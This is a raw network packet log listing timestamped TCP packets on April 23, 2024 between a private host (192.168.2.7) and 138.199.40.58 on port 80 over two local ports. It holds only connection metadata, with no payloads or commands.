Apr 23, 2024 08:39:58.689569950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.689873934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.689924002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.689944029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.690026045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690077066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690135002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690155983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.690182924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690206051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.690237999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690309048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690330029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.690356970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690437078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690548897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690562010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.690612078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690696001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690798998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.690828085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690888882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.690898895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.690958023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691009045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691030979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.691077948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691098928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.691159964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691397905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691508055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.691585064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691723108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691803932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.691824913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692066908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692275047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692418098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692450047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692498922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692583084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692615986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692636967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692656994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692677021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692689896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692692995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692713022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692729950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692749023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692809105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692830086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692857027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692876101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692895889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.692895889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.692931890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693017960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693041086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693087101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693125010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693147898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693166971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693186045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693205118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693208933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693224907 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693258047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693315983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693325996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693361998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693388939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693408966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693423986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693444967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693465948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693483114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693577051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693595886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693615913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693617105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693634987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693654060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693669081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693672895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693692923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693692923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693711042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693713903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693730116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693748951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693749905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693768024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693787098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693808079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693808079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693829060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693830967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693865061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693903923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.693933964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693972111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.693991899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694014072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694045067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694065094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694109917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694111109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694116116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694134951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694211960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694220066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694308996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694361925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694375038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694493055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694618940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694639921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694642067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694658995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694677114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694698095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694698095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694716930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694736004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694755077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694756985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694772959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694776058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694792032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694794893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694811106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694829941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694849968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694852114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694869041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694886923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694888115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694906950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.694906950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694926977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694964886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.694986105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695002079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695060015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695070028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695178986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695266008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695286036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695286989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695307970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695339918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695358992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695379972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695399046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695462942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695509911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695529938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695533037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695549011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695553064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695569038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695588112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695590973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695626020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695637941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695664883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695703030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695728064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695741892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695763111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695782900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695805073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695820093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695844889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695859909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695880890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695903063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695911884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695924997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695945024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695946932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.695966005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.695983887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696023941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696044922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696067095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696088076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696110964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696135998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696156025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696156025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696177006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696196079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696197033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696216106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696217060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696235895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696274042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696275949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696374893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696378946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696398973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696419001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696438074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696438074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696459055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696477890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696537971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696583986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696619987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696640968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696661949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696681023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696702003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696703911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696722031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696742058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696742058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696762085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696779966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696784019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696804047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696824074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696824074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696844101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696845055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696863890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696883917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696904898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696924925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696926117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696945906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.696945906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696966887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696985960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.696989059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697005987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697006941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697026968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697046995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697067022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697067976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697088003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697088957 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697108030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697129011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697150946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697151899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697170973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697171926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697191000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697211027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697231054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697232962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697289944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697312117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697314024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697341919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697349072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697388887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697410107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697438955 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697463989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697484970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697489023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697505951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697525978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697542906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697617054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697638035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697655916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697695971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697734118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697755098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697774887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697778940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697794914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697797060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697815895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697837114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697860956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697860956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697875023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697895050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697915077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697935104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697936058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.697973967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697993994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.697994947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698014021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698014021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698035955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698055029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698055983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698076963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698096991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698097944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698118925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698137999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698157072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698158979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698179007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698182106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698235989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698256969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698260069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698296070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698374033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698395014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698412895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698436022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698604107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698642969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698666096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698683023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698724031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698745966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698766947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698766947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698823929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698846102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698877096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698896885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698916912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698919058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698940039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698940992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.698961020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698981047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.698982954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.699019909 CEST	80	49704	138.199.40.58	192.168.2.7
